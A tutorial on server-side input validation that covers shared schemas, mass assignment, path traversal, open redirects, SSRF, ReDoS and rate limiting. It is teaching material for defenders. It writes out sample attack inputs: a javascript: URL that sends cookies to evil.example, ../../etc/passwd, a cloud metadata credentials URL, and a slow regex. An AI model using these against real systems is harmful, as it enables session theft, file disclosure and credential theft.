Validating and sanitizing input
Checks in the browser make forms friendly; checks on the server keep the data and the system safe, from file uploads to redirect URLs to the URLs your server fetches for users.
Never trust the client
Picture a shop with a sign-up form. The form has required on every field, a maxlength of 40 on the name, a dropdown for the country, and a JavaScript check that the age is between 13 and 120. The team tests it, every bad value shows a friendly red message, and it ships.
A week later the database has a user whose name is 2 MB long, a country called Narnia, an age of -5, and a field called role set to admin. Nobody broke the form. Someone opened the browser's network tab, copied the sign-up request as a curl command, edited the JSON, and sent it straight to the API.
That is the whole lesson in one story. The browser is a program the user controls. Every check that runs there can be skipped, edited in DevTools, or replaced by a script that never loads your page at all. The server is the only place where a check is guaranteed to run.
curl goes straight to the API, so only the API's own checks stand between it and the database.Client validation is UX, not security
This does not make browser checks useless. They are how a form tells a person, right away and next to the field, that the email is missing an @. They save a round trip, they help screen reader users fix mistakes, and they catch most honest errors. They are user experience.
Server checks are security and data integrity. They decide what gets stored, what gets run, what gets fetched, and where users get sent. They have to hold even when the request comes from a bot, a modified app, an old app version, or an attacker with curl.
| Question | Checks in the browser | Checks on the server |
|---|---|---|
| Who can skip them? | Anyone: DevTools, curl, a script, an old app version | Nobody who talks to your API |
| What they are for | Fast, friendly feedback next to the field | Keeping bad data and attacks out |
| What happens if they are wrong | A confused user | A breach, corrupt data, or an outage |
| Can they see everything? | No: not other users, not the database, not rate limits | Yes: uniqueness, permissions, quotas |
What counts as input
Input is anything that crosses into your system from outside your control. Form fields are the obvious part. The less obvious parts are where real bugs hide:
- URLs: path segments, query parameters such as
?returnTo=, and the fragment after#that your client code reads. - Headers and cookies:
Host,Referer,X-Forwarded-For,Content-Type, and any cookie value. All of them can be set by the sender. - Files: the bytes, the file name, the claimed type, and the size.
- Data from other services: webhook bodies, responses from third-party APIs, and messages from
postMessageor a WebSocket. - Your own stored data: a value that was saved before a bug was fixed, or by an old version, is still input when you read it back.
The rest of this lesson walks through how to check all of that well: the mental model, one schema on both sides, canonical forms and allowlists, then the attacks that come from specific kinds of input (file names, redirect URLs, URLs your server fetches, slow regular expressions) and the limits that stop abuse by volume.
Check your understanding · Exercise 1
A checkout form limits the quantity field to 1 to 10 with min and max, and a JavaScript handler blocks submit if the coupon code is not in a list. Which checks still hold if someone sends the request with curl? Pick one.
The mental model: a gate at the trust boundary
Draw a line around the code and data you control: your servers, your database, your queues. That line is the trust boundary. Everything outside it (browsers, mobile apps, partner servers, the open internet) is untrusted. Every value that crosses the line goes through a gate, once, and comes out the other side as a typed, checked value your code can rely on.
Think of an airport. The check-in desk warns you that your bag is too heavy: helpful, and skippable. Security screening is the gate: everyone goes through it, it follows a written list, and everything past it can assume people were screened.
Parse, don't just check
A weak gate looks at the raw input, says yes or no, and then passes the same raw object along. Code deeper in the system still gets a loose bag of strings and has to guess. A strong gate parses: it reads the raw input and builds a new value with the exact type you want, or it fails. After the gate, age is a number from 13 to 120, not a string that was checked once.
Parsing also drops what you did not ask for. If the schema has name and email, the parsed object has name and email, even if the request also sent role and isAdmin. That one habit prevents a whole class of bugs you will meet in chapter 3.
413 for too large or 422 for invalid.The steps, in order
- Limit. Cap the size before reading: body size, header size, number of fields, file size. A 50 MB JSON body should be refused before your parser spends memory on it.
- Decode and canonicalize. Turn the input into its one standard form: decode percent-encoding once, normalize Unicode, trim, lowercase where case does not matter, resolve the URL or path. Checking before this step checks the wrong thing.
- Parse against an allowlist. Check type, length, range, format, and allowed values. Build a new typed object. Reject anything else with a clear error.
- Check business rules. Things only the server knows: is this email already taken, does this user own order
1234, is the coupon still active. - Use it, and encode on the way out. Pass values to SQL as parameters, put them in HTML through the framework's escaping, put them in URLs with
encodeURIComponent. The encoding depends on where the value lands, not where it came from.
Validate, sanitize, encode: three different jobs
These three words get mixed up, and the mix-up causes real bugs. They happen at different times and solve different problems.
| Job | What it does | When | Example |
|---|---|---|---|
| Validate | Accepts or rejects, never changes the meaning | At the gate, on the way in | Reject an age of -5 |
| Sanitize | Changes input so it becomes safe to keep | Rarely: only when you must keep some markup | Run rich text through DOMPurify with an allowlist of tags |
| Encode | Escapes a value for one specific output | On the way out, every time | < becomes < in HTML; a value is a bound parameter in SQL |
A common mistake is to "sanitize everything" on the way in by stripping <, >, and quotes before saving. It mangles honest data (O'Brien, AT&T, 3 < 5) and still misses attacks, because what is dangerous depends on the output: a quote is harmless in HTML text and dangerous in an attribute. The XSS lesson covers output encoding in depth.
Think first
A teammate proposes removing every < and > from all text fields before saving, "to stop XSS". What do you say?
It breaks honest input, such as a product review that says 5 > 3 stars, and it gives false comfort. XSS depends on where a value is rendered: a value inside an attribute or a javascript: URL can attack without any angle brackets.
Instead: validate each field's shape (length, allowed characters where that makes sense), store the text as the user typed it, and let the framework escape it on output. For the few fields that really are rich text, sanitize with a maintained library like DOMPurify and an allowlist of tags.
Validate on both sides, with one schema
So the server must check everything, and the browser should check most things for a good experience. The obvious problem is that you now have the same rules in two places. Over a year they drift: the form allows 50 characters, the API allows 40, and users hit an error they could not have predicted.
The fix most teams use today is one schema in a shared package, written with a library such as Zod, Valibot, or a JSON Schema validator like Ajv. The form imports it for instant feedback. The API route imports the same object for the real check. Change the rule once and both sides move together.
// packages/schemas/signup.ts, imported by the form and the API
import { z } from "zod";
export const SignUp = z.object({
email: z.string().trim().toLowerCase().max(254).pipe(z.email()),
username: z.string().trim().regex(/^[a-z0-9_]{3,30}$/i),
age: z.coerce.number().int().min(13).max(120),
country: z.enum(["IN", "US", "GB", "DE"]),
}); // unknown keys such as role are dropped
// API route: the same schema, plus rules only the server can check
export async function POST(req: Request) {
const parsed = SignUp.safeParse(await req.json());
if (!parsed.success) return problem(422, parsed.error);
if (await users.emailTaken(parsed.data.email))
return problem(422, fieldError("email", "Already registered"));
return Response.json(await users.create(parsed.data), { status: 201 });
}
What only the server can check
A shared schema covers shape: types, lengths, ranges, formats, allowed values. Some rules need data the browser does not have, or should not have. These stay on the server, after the schema:
- Uniqueness: is this username or email already taken.
- Ownership and permission: does the logged-in user own order
1234. Changing an ID in the URL is the oldest attack in the book, called IDOR (insecure direct object reference). - Prices and totals: read the price from your database, never from the request. The request says "2 of item 77", the server says what that costs.
- State rules: you cannot cancel an order that has shipped, or vote twice.
- Quotas and rates: how many sign-ups from this IP this hour (chapter 8).
When the server rejects a request, return 422 Unprocessable Content (or 400) with a body that lists errors per field, ideally as RFC 9457 problem details with an errors array, as the API contracts lesson describes. The form then shows the server's "Already registered" message under the email field, in the same place as its own messages. Users should not be able to tell which side caught the problem.
Mass assignment: the field you didn't ask for
Back to the opening story: the user who made themselves an admin. The route did something like db.users.update(id, req.body). The form only had name and bio, but the body is whatever the sender wants, and the database row also has role, isVerified, and credits. This is mass assignment: copying a whole request object into a model.
role field, but the request body is whatever the sender writes. Copy an explicit list of fields, or let the schema drop unknown keys, and the extra field has nothing to land on.The defence is the parse step from chapter 2. Build the update from an explicit list of fields the user may change, and drop the rest. Zod objects drop unknown keys by default; .strict() rejects them instead, which is useful in development because it surfaces client bugs. Frameworks have the same idea under other names: Rails strong parameters, Django forms with an explicit fields list, and the whitelist option of NestJS's validation pipe.
Decision Where should the validation rules live?
What we pick: For a TypeScript front and back, a shared schema is the simplest thing that stays in sync. When the API is in another language or serves many clients, make the OpenAPI contract the source of truth and generate from it. Either way, the server check is the one that counts.
Check your understanding · Exercise 2
A profile route runs await db.user.update({ where: { id: req.params.id }, data: req.body }). Which problems does it have? Select all that apply.
Canonical forms, allowlists, and file names
Most validation bugs are not missing checks. They are checks that look at a different version of the value than the one that gets used. The check sees %2e%2e%2f, approves it, and three layers later something decodes it into ../.
To avoid that, every value needs one canonical form: the single standard way to write it. Convert to that form first, check the canonical value, and pass only the canonical value on.
One value, many spellings
| What you mean | Other ways to write it | Canonicalize by |
|---|---|---|
../ | ..%2f, %2e%2e/, %252e%252e%252f (encoded twice), ..\ on Windows | Decoding exactly once, then resolving the path |
admin | Admin, ADMIN, admin (full-width letters) | Unicode NFKC normalization, then lowercase |
https://shop.example/ | HTTPS://SHOP.EXAMPLE:443/, https://shop.example/a/../ | Parsing with the URL API and comparing parts |
127.0.0.1 | 2130706433, 0x7f.0.0.1, 127.1, [::ffff:127.0.0.1] | Parsing as an IP address, not as text |
Two rules make this manageable. Decode once, at the edge, and never again deeper in. And use real parsers (new URL(), path.resolve, an IP address library, String.prototype.normalize("NFKC")) instead of string tricks, because the parser is what the rest of the system will use too.
Normalization does not catch everything. аdmin with a Cyrillic а looks the same as admin and stays different after NFKC. For usernames that people will trust, the simplest fix is a narrow allowlist (ASCII letters, digits, underscore). If you need full Unicode names, check them against the confusable characters list in Unicode UTS 39.
Allowlists beat blocklists
A blocklist lists what is forbidden: no <script>, no ../, no localhost. An allowlist lists what is permitted: 3 to 30 of a-z, 0-9, _. Blocklists fail open: every spelling you did not think of gets through, and attackers are paid to think of spellings. Allowlists fail closed: an input you did not think of is rejected, which at worst is a support ticket.
- Enums over strings: a country is one of 249 codes, a sort order is
ascordesc, a currency is one of the ones you support. - Ranges over "is a number": quantity 1 to 99, page size 1 to 100. An unbounded
limitis an easy way to make your API dump the whole table. - Anchored patterns:
/^[a-z0-9_]{3,30}$/i. Without^and$, the pattern only has to match somewhere inside the string, sook<script>passes. Avoid themflag in validators: it makes^and$match at every line break. - Length on everything: every string has a maximum, even free text. A bio can be 500 characters; nothing is unlimited.
Path traversal in file names
File names are input. Suppose an export feature saves to path.join("/srv/exports", req.query.name). With name set to report.csv the file lands where you expect.
With name set to ../../etc/passwd, path.join resolves the dots and the result is /etc/passwd. The same bug in a download route lets anyone read files from the server. This is path traversal.
.. climbs one folder. Two of them leave /srv/exports entirely, and then the name can walk anywhere. Generate your own file names, or resolve the path and check it still starts with the base folder.Blocklisting ../ does not work: there are encoded forms, backslashes on Windows, and absolute paths like /etc/passwd that contain no dots at all. The safe options, from best to acceptable:
- Don't use the user's name as a path. Generate an ID (
crypto.randomUUID()), store the file under it, and keep the original name in the database only as display text. - Look it up. The request names a record ID; the server looks up the stored path for that record after checking the user may read it.
- Resolve and contain. If you must accept a name, allowlist its characters (
/^[\w.-]{1,100}$/with no leading dot), thenpath.resolve(base, name)and refuse unless the result starts withbase + path.sep.
File uploads, in brief
An uploaded file is the biggest single input most apps accept, and the file uploads lesson covers it in depth. The validation rules in one place: limit the size before reading the body (or in the signed policy of a presigned upload URL); decide the type by reading the first bytes (the magic number), not from the name or the browser's type; re-encode images on the server; store under a generated name; and serve user files from a separate domain with X-Content-Type-Options: nosniff.
The browser's accept attribute and file.size check are only there to fail fast for honest users.
Check your understanding · Exercise 3
A download route serves path.resolve(BASE, req.query.file) and rejects any file containing ../. Which requests still escape BASE? Select all that apply.
Open redirects: where returnTo can send people
Almost every app has a "go back where you were" parameter. A logged-out user opens /orders/1234, gets sent to /login?returnTo=/orders/1234, signs in, and lands on the order. It is good UX. It also means your login page will send the browser to whatever URL is in the query string, unless you check it.
An open redirect is a page on your site that redirects to any URL it is given. The attacker emails a link to https://shop.example/login?returnTo=https://shop-example.help/login. The victim checks the domain, sees your real site, and signs in on your real page. Then your site sends them to the attacker's copy, which says "session expired, please sign in again" and collects the password.
302 happens on your real domain, which is why the trick works. The fix is one check on returnTo before redirecting.Why it is worse than it sounds
- Phishing with your name on it. The link starts with your domain, so mail filters and careful users trust it.
- Stolen tokens. In OAuth flows, an open redirect on an allowed redirect path can forward an authorization code or token to the attacker's site. This is why current OAuth security guidance (RFC 9700) asks for exact
redirect_urimatching. - XSS through
javascript:URLs. If the redirect happens in the browser withwindow.location.href = returnTo, a value ofjavascript:fetch('//evil.example?c='+document.cookie)runs as script on your origin. A server302with that value does nothing, but client-side redirects run it.
Why the obvious checks fail
The first idea is returnTo.startsWith("/"): only allow paths. It fails because browsers read //evil.example as "same scheme, host evil.example", a protocol-relative URL.
The next idea is to also block //. That fails because the URL parser treats a backslash like a slash in web URLs, so /\evil.example also goes to evil.example. It also removes tabs and newlines, so / then a tab then /evil.example gets through a check for // and still leaves your site.
| Input | startsWith("/") | Where the browser goes |
|---|---|---|
/settings | Allowed | https://shop.example/settings |
//evil.example | Allowed | https://evil.example/ |
/\evil.example | Allowed | https://evil.example/ |
https://shop.example@evil.example/ | Rejected | https://evil.example/ (the part before @ is a user name) |
https://shop.example.evil.example/ | Rejected | A subdomain of evil.example, so a check with startsWith("https://shop.example") would allow it |
A validator that holds
Don't reason about the string. Let the browser's own URL parser resolve it against your origin, then compare the parsed origin. This is the canonicalize-then-check rule from chapter 4, applied to URLs.
const ORIGIN = "https://shop.example";
export function safeReturnTo(raw: unknown): string {
const fallback = ORIGIN + "/";
if (typeof raw !== "string" || raw.length > 2000) return fallback;
let url: URL;
try {
url = new URL(raw, ORIGIN); // resolves //, \, tabs, javascript:
} catch {
return fallback;
}
if (url.origin !== ORIGIN) return fallback; // other host, or javascript:
return url.href; // absolute, so it can never be read as //host
}
The last line matters. new URL("/.//evil.example", ORIGIN).pathname is //evil.example: the dot segment is removed and two slashes are left. If you returned only the path and put it in a Location header, the browser would read it as a protocol-relative URL again. Returning url.href keeps the scheme and host in front, so the result is always on your origin.
For flows with more risk, such as OAuth or payments, go one step further and never put a URL in the query string at all. Store the return path on the server (in the session, or under a random state value) and put only the key in the URL. If you redirect across your own domains, keep an explicit allowlist of exact origins, not a suffix check like endsWith(".shop.example"), which a forgotten subdomain can break.
Check: returnTo.startsWith("/"). The login page then runs location.href = value.
The validator passed the input as typed. The browser resolves it to https://evil.example/: an open redirect to evil.example.
Check your understanding · Exercise 4
Which of these returnTo checks still allow a redirect off https://shop.example? Select all that apply.
SSRF: when the server fetches a URL for the user
Open redirects send the user's browser somewhere. The next attack sends your server somewhere. Many features take a URL from a user and have the server fetch it: a chat app that shows a preview card for pasted links, "import image from URL", webhooks that call a customer's endpoint, an image proxy that resizes remote images, a PDF export that renders a page in headless Chrome.
Your server sits inside your network. It can reach things the internet cannot: the admin panel on 10.0.0.5, Redis on localhost:6379, and in the cloud, the instance metadata service at 169.254.169.254, which hands out the machine's temporary credentials. If a user can make your server fetch http://169.254.169.254/latest/meta-data/iam/security-credentials/, and you show them the response, they now hold your cloud keys. This is server-side request forgery (SSRF), and it was the entry point of the widely reported Capital One breach in 2019.
What to check, in order
- Parse the URL with a real URL parser and allow only
http:andhttps:. Refusefile:,gopher:,ftp:, and anything else your HTTP library might support. - Allow only normal ports, usually 80 and 443. This stops someone from using your fetcher to probe internal services on other ports.
- Resolve the host name yourself and check every address it returns. Refuse loopback (
127.0.0.0/8,::1), private ranges (10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,fc00::/7), link-local (169.254.0.0/16,fe80::/10), shared address space (100.64.0.0/10),0.0.0.0, and IPv4-mapped IPv6 forms of all of these. Parse addresses with an IP library:2130706433and0x7f.0.0.1both mean127.0.0.1. - Connect to the address you checked, not to the host name again (see DNS rebinding below).
- Don't follow redirects automatically. Use
redirect: "manual", and run every check again on eachLocation, with a limit of 3 to 5 hops. A public URL that answers302tohttp://169.254.169.254/defeats a check that only looked at the first URL. - Limit what comes back: a timeout of a few seconds, a cap on response size (for example 1 MB for a preview page), and an allowlist of content types. Return only what the feature needs (a title, an image), never the raw body or detailed error messages.
async function fetchForUser(raw: string, hops = 0): Promise<Preview> {
if (hops > 3) throw new Rejected("too many redirects");
const url = new URL(raw);
if (url.protocol !== "https:" && url.protocol !== "http:") throw new Rejected("scheme");
if (url.port && url.port !== "443" && url.port !== "80") throw new Rejected("port");
const addrs = await dns.promises.lookup(url.hostname, { all: true });
if (addrs.some((a) => !isPublicUnicast(a.address))) throw new Rejected("address");
// Connect to the checked IP and send the original Host header.
const res = await fetchPinned(url, addrs[0].address, {
redirect: "manual",
signal: AbortSignal.timeout(5000),
});
if (res.status >= 300 && res.status < 400) {
const next = new URL(res.headers.get("location") ?? "", url);
return fetchForUser(next.href, hops + 1); // every check runs again
}
return parsePreview(await readCapped(res, 1_000_000));
}
DNS rebinding: the check and the fetch see different answers
A tempting shortcut is to resolve the host, check the address, then call fetch(url). But fetch resolves the name again. An attacker who controls the DNS for rebind.evil.example sets a time to live of 0 seconds and answers the first lookup with a public address and the second with 169.254.169.254.
Your check passes, and your fetch hits the metadata service. This is DNS rebinding, a time-of-check to time-of-use bug: the value checked is not the value used.
The fix is to resolve once and connect to that exact address (pinning), sending the original host name in the Host header and for TLS. In Node you can do this with a custom lookup function on the HTTP agent that runs the address check inside the connection itself, so there is no second answer to swap in.
Network-level defences
Application checks are easy to get slightly wrong, so the strongest setups add a layer that does not depend on them. Run user-driven fetches through an egress proxy, a proxy for outgoing traffic, in a network segment that cannot reach internal services at all. Stripe open-sourced theirs, Smokescreen, for exactly this.
On AWS, require IMDSv2, the second version of the instance metadata service. It needs a PUT request with a session token that a plain GET from a fetcher cannot get. Webhook senders, link unfurlers, and image proxies all belong behind this kind of proxy; the webhooks lesson applies the same rules to customer endpoints.
Defence: dns.lookup, refuse private ranges, then fetch(url).
HIT. The first host is public and passes. Then fetch follows the 302 on its own, past the check.
Check your understanding · Exercise 5
A link preview service resolves the host, refuses private addresses, then calls fetch(url) with default options. Which attacks still work? Select all that apply.
ReDoS: when the validator is the attack
Validation code runs on every request, before you know whether the request is honest. That makes the validator itself a target. The classic example is a regular expression that takes a few microseconds on normal input and seconds or minutes on a carefully built string. This is ReDoS, regular expression denial of service.
Catastrophic backtracking
JavaScript's regex engine, like those in Python, Java, Ruby, and PHP, is a backtracking engine. When part of a pattern fails, it goes back and tries another way to split the input among the pattern's pieces. Usually there are few ways. But a nested quantifier such as (a+)+ can split a run of n letters in about 2 to the power n ways, and when the match finally fails at the end, the engine tries all of them.
const evil = /^(a+)+$/;
const fine = /^a+$/; // matches exactly the same strings
for (const n of [20, 24, 26, 28]) {
const input = "a".repeat(n) + "!"; // the ! makes the match fail at the end
const t = performance.now();
evil.test(input);
console.log(n, Math.round(performance.now() - t), "ms");
}
// Node 22 on an M1 laptop: 20 -> 7 ms, 24 -> 120 ms, 26 -> 450 ms, 28 -> 1,800 ms
// fine.test on the same inputs: under 0.1 ms every time
Nobody writes (a+)+ on purpose, but the same shape hides in real validators. An email check like /^([a-zA-Z0-9]+\.?)+@example\.com$/ looks reasonable: words, each followed by an optional dot. Because the dot is optional, a run of letters can be split into words in many ways. With 28 letters and a domain that does not quite match, it took about 1.5 seconds in the same test.
Why one request can take down a server
Node runs your JavaScript on one thread. While evil.test() runs, that server process handles nothing else: no other users, no health checks. A handful of 30-character strings can stall every instance behind a load balancer.
This has happened. In July 2019 a regex with several .* pieces in a row, in a firewall rule, took Cloudflare's network down for 27 minutes. In July 2016 a regex for trimming whitespace took Stack Overflow offline for 34 minutes; its time grew with the square of the input length rather than exponentially, and that was still enough.
In the browser the blast radius is smaller but not zero. A slow regex on a form field freezes only that user's tab. A slow regex that runs over content other people wrote, like a Markdown renderer or a mention highlighter in a chat app, freezes the tab of everyone who opens that message.
How to avoid it
- Limit length first. Check the length before the pattern runs. Backtracking cost grows with length, so a short cap removes most of the risk. Zod runs every check even after one fails, so a plain
.max()does not stop the regex: write.max(254, { abort: true })before.regex(), or check the length before parsing. - No nested or overlapping quantifiers. Watch for
(x+)+,(x*)*,(a|a)*, and(\w+\.?)+where the pieces can match the same characters. Rewrite so each character can be matched only one way:^[a-z0-9]+(\.[a-z0-9]+)*$. - Use a linear-time engine for patterns from users or for hot paths. RE2 (from Google, with bindings for Node) and the regex engines in Go and Rust never backtrack, so their time grows in a straight line with input length.
- Lint and test. The
regexp/no-super-linear-backtrackingrule ineslint-plugin-regexpreports patterns with super-linear backtracking, and a unit test that runs each validator on a 10,000-character worst-case string with a time limit catches regressions. - Prefer a parser to a clever regex.
new URL()validates URLs better than any URL regex, and for email, a simple shape check plus a confirmation email is what actually proves the address works.
Check your understanding · Exercise 6
Which of these patterns can backtrack catastrophically on a long string that almost matches? Select all that apply.
Rate limits and abuse: valid input, too much of it
Every check so far looks at one request. Some attacks are made entirely of valid requests: one login with a wrong password is normal, ten thousand a minute against one account is password guessing; one sign-up is normal, a million is a spam farm. The defence is a rate limit: a cap on how many requests a given key may make in a given time.
The token bucket
The most common algorithm is the token bucket. Each key (a user, an IP, an API key) has a bucket that holds up to capacity tokens and gains rate tokens per second, up to the cap. Each request takes one token. If the bucket is empty, the request is refused with 429 Too Many Requests and a Retry-After header that says how many seconds until a token is back.
Two numbers give you two behaviours. The capacity allows short bursts: a user who opens a page that fires 8 requests at once is fine with a capacity of 10. The refill rate sets the long-run average: 1 token per second means at most about 60 requests a minute however clever the client is. Storing it is cheap: two numbers per key (tokens left and the time of the last update), usually in Redis so all servers share the count.
Bucket: 5 tokens, refilling 1 per second. Clock: 0 s. Requests: 0, refused: 0.
Send some requests. Asha and Ben work in the same office, so they share one public IP address.
Decision Which rate limiting algorithm?
What we pick: Token bucket for most APIs: it fits how real clients behave (bursty page loads, quiet reading). A fixed window is fine for coarse daily quotas. Whatever you choose, make the update atomic so two servers cannot both spend the last token.
Choosing the key: per user, per IP, per target
The algorithm matters less than what you count by. Each key catches a different kind of abuse and has its own blind spot, so real systems combine several.
| Key | Catches | Blind spot |
|---|---|---|
| Per user or API key | One account hammering an endpoint | Logged-out endpoints; attackers with many accounts |
| Per IP address | Sign-up and login floods before anyone is logged in | Thousands of people behind one office or mobile carrier IP (carrier-grade NAT); attackers with many IPs. Count IPv6 by /64 prefix, since one user often controls a whole /64 |
| Per target | Many IPs guessing passwords for one account (a distributed brute force) | Can be used to lock a real user out, so slow down rather than block |
| Per endpoint cost | Cheap endpoints and expensive ones (search, export, AI calls) sharing one limit | Needs a cost per route |
Get the IP right. Behind a CDN or load balancer, the TCP address is the proxy's. Read the client IP from the header your own proxy sets (for example CF-Connecting-IP, or the right-most entry your proxy added to X-Forwarded-For), and never trust the left-most X-Forwarded-For value, which the client can write.
Where limits live
- At the edge (CDN or web application firewall rules): coarse per-IP limits that drop floods before they cost you anything.
- In the API gateway or app: per-user and per-endpoint token buckets with business context, such as plan tiers.
- Size and shape limits: body size, page size (
limitat most 100), upload size, GraphQL query depth and cost. These are rate limits on a single request. - Friction for humans: a CAPTCHA or email verification after a few failures, instead of a hard block that an attacker can use to lock out real users.
The frontend's part is to be a good citizen: disable a submit button while a request is in flight, debounce search-as-you-type, and when a 429 arrives, read Retry-After, show the user when they can try again, and back off as described in the retries lesson rather than retrying in a tight loop.
Check your understanding · Exercise 7
A login endpoint has a limit of 5 attempts per IP per minute. Which attacks does that limit miss? Select all that apply.
Logging rejected input, and what breaks in production
Rejections are signal. A spike of 422s on one field right after a deploy usually means the client and server schemas drifted. A stream of ../ in file names or 169.254 in URL fields means someone is probing. So log rejections, but carefully: rejected input is exactly the input you decided not to trust.
Log the decision, not the payload
- Log structured fields, not strings. Write JSON such as
{ event: "validation_failed", route: "/signup", field: "username", rule: "pattern", length: 412 }. If you build a text line with the raw value, a value containing a newline can forge a fake log entry (log injection), and a value with terminal escape codes can mess up whoever reads the log in a terminal. - Truncate. Log the length and at most the first 100 or so characters. Logging a 10 MB body on every rejection turns a validation check into a disk-filling attack.
- Redact secrets and personal data. A failed login body contains a password, often a real one with a typo. Card numbers, tokens, and
Authorizationheaders must never reach logs. Use an allowlist of fields you log, not a blocklist of fields you hide. - Treat logs as untrusted when you view them. A log viewer that renders values as HTML gives the attacker stored XSS in your admin tools. Most good tools escape; a homemade dashboard may not.
- Count, then alert. A metric of rejections per route, field, and rule is more useful day to day than reading lines. Alert on sudden changes.
The same care applies to error messages sent back to the user. Say what was wrong ("Username can use letters, digits, and underscores") without echoing the raw value into HTML, and without explaining internals ("blocked: resolves to 10.0.0.5" tells an SSRF attacker your network layout).
What breaks in production
| Failure | How you notice | Fix |
|---|---|---|
| Server rule stricter than the form | 422s spike on one field after a deploy; support tickets | One shared schema; a contract test that runs the form's valid examples against the API |
| Rule too strict for real people | Names like José, O'Brien, or a one-letter surname rejected | Allowlists for identifiers, but generous Unicode text with only length limits for names and free text |
| Old clients after a schema change | Mobile app versions from last month start failing | Accept old and new shapes for a while; version the contract |
| A validator that is slow | CPU spikes and timeouts on one route with no traffic increase | Length caps before regexes; linear-time engine; time-limit tests |
| Rate limit too tight | 429s for a whole office or mobile carrier | Per-user limits once logged in; higher per-IP caps; friction instead of blocks |
| A second decode or a different parser deeper in | A security report: the check passed but the effect happened | Canonicalize once at the edge; pass only parsed values inward |
In real products
- GitHub does not let your browser load images in READMEs and comments directly from their original hosts. It rewrites them through its own image proxy, Camo, on a separate domain (
camo.githubusercontent.com). Readers' browsers never contact the third-party host, which protects their IP addresses, and every outbound fetch goes through one service where limits can be applied. - Slack and similar chat apps unfurl links by fetching them from their servers with a dedicated bot user agent and keep only the preview metadata (title, description, image), not the page itself.
- OAuth providers such as Google and GitHub require registered redirect URIs and match them exactly or by strict rules, the server-side version of the
returnToallowlist. - Stripe open-sourced Smokescreen, an egress proxy that its services use for requests to user-supplied URLs such as webhook endpoints, so an SSRF bug in one service cannot reach internal hosts.
- Next.js server actions receive arguments straight from the client, and the framework docs say each one is reachable by a direct
POST: a public endpoint like any API route. The docs tell you to validate the arguments (often with Zod) and to check authorization inside each action, because the action's code being next to the form does not make its input trusted.
Think first
On Monday morning, rejections on POST /checkout jump from 0.1% to 6%, all on the postcode field. Is it an attack or a bug, and how do you tell?
Look at who and what. An attack is usually a few IPs or accounts, odd values, and no link to a release. A bug is spread across many normal users, starts at a deploy time, and the rejected values look ordinary.
Here, check whether the web or app release on Monday changed the postcode format (for example, now sending it with a space, or a new country), and compare the client schema version in the request with the server's. Structured logs with field, rule, and length, plus the app version, answer this in minutes without having logged the full addresses.
Using it in a system design interview
Input validation rarely gets its own question. It shows up inside other designs, and it is an easy way to show security sense without derailing the conversation: raise it where the design takes input from outside, and go deeper only if the interviewer follows up.
When to bring it up
| The design has | Say | Draw |
|---|---|---|
| A form (sign-up, checkout, settings) | One shared schema; client for UX, server for truth; 422 with field errors; explicit field list to stop mass assignment | The schema package with arrows to the form and the API route |
| Login with a return path | returnTo parsed with URL and compared by origin, or stored server-side under a state key | The redirect step with a validator box |
| Link previews, image import, webhooks | SSRF: scheme and port allowlist, resolve and pin, block private ranges, manual redirects, egress proxy | The fetcher in its own network zone behind a proxy |
| File uploads | Size cap in the presigned policy, magic-byte type check, generated names, separate user-content domain | Upload path with a scan or re-encode step |
| Search, chat, public APIs | Token bucket per user and per IP, 429 with Retry-After, length caps before regexes | A rate limiter at the edge and in the gateway |
How deep to go by level
Keep each mention short: one sentence and one box on the diagram. If the interviewer asks "how would you validate that?", that is the cue to go one level down: name the attack, the check that fails, and the check that holds, as this lesson did for each input.
- Junior: knows that client checks can be skipped and the server must validate; can name types, lengths, and ranges; uses the framework's escaping.
- Mid-level: shares one schema between form and API, explains validate versus sanitize versus encode, spots mass assignment and IDOR, returns field-level errors the UI can show.
- Senior: brings up open redirects and SSRF unprompted where the design has them, knows why
startsWith("/")and resolve-then-fetch fail, talks about canonicalization, ReDoS, and rate limit keys, and puts user-driven fetches behind an egress proxy. - Staff: makes it systemic: a shared validation package and lint rules, one redirect helper and one fetch client that teams must use, metrics on rejections, and a review checklist for new endpoints that take URLs or files.
Check your understanding · Exercise 8
You are designing a chat app where messages show previews for links. Which points are worth raising for this feature? Select all that apply.
Summary
- Browser validation is UX; server validation is security. Anything the client enforces can be skipped with
curl. - Use one schema (Zod, Valibot, or a JSON Schema contract) for the form and the API, and let the server add uniqueness, ownership, and price checks.
- Parse, don't just check: canonicalize once at the edge, check against an allowlist, and pass only the typed, parsed value inward. Explicit field lists stop mass assignment.
- Validate on the way in, encode on the way out for the place the value lands, and sanitize only real rich text with a maintained library.
- Redirect targets go through
new URL(raw, ORIGIN)with an origin check and a redirect to the parsedhref; string checks likestartsWith("/")fail. - URLs your server fetches need scheme, port, and resolved-IP checks, pinned connections, re-checked redirects, size and time caps, and ideally an egress proxy.
- Cap length before any regex, avoid nested quantifiers, and rate limit valid-but-excessive traffic with token buckets keyed by user, IP, and target.
- Log rejections as structured, truncated, redacted fields, and watch rejection rates: they reveal both attacks and schema drift.
In the interview
Questions interviewers ask about this. Answer each out loud first, then compare.
Question 1
We already validate everything in the form with Zod. Why do we need server validation too?
Because the form is code the user controls. Anyone can send the request with curl, an edited copy of the page, a script, or an old app version, and none of those run the form's checks. Client validation is user experience: fast, friendly feedback.
The server check is the security boundary. The good news is it can be the same Zod schema, imported by the API route, so the rules cannot drift. The server then adds what only it can check: uniqueness, ownership, prices from the database, and rate limits.
Question 2
How would you validate a returnTo parameter on a login page?
Parse it with new URL(raw, ORIGIN) and allow it only if the parsed origin equals ours; otherwise fall back to the home page. Then redirect to the parsed absolute href, not the raw string or just the path.
String checks fail: startsWith("/") accepts //evil.example and /\evil.example, and returning only the pathname lets /.//evil.example become //evil.example. Comparing parsed origins also rejects javascript: URLs, which matter when the redirect happens in client code. For OAuth-like flows I would store the return path server-side under a random state key.
Question 3
Our app generates link previews. What could go wrong, and how do you protect it?
It is a server fetching user-supplied URLs, so SSRF: the server can reach internal admin panels, local services, and the cloud metadata service. Checks: only http and https, only ports 80 and 443, resolve the host and refuse private, loopback, link-local, and mapped addresses, connect to the checked IP to stop DNS rebinding, follow redirects manually and re-check each hop, and cap time and size.
Then defence in depth: run the fetcher behind an egress proxy that cannot reach the internal network, require IMDSv2 on AWS, return one generic error for all failures, and rate limit previews per user.
Question 4
What is ReDoS and how do you prevent it?
Regular expression denial of service. Backtracking engines like JavaScript's can take exponential time on patterns with nested or overlapping quantifiers, such as (a+)+ or ([a-z]+\s?)+, when given a long string that almost matches. In Node, a single 30-character input can block the event loop for seconds, stalling every user on that process.
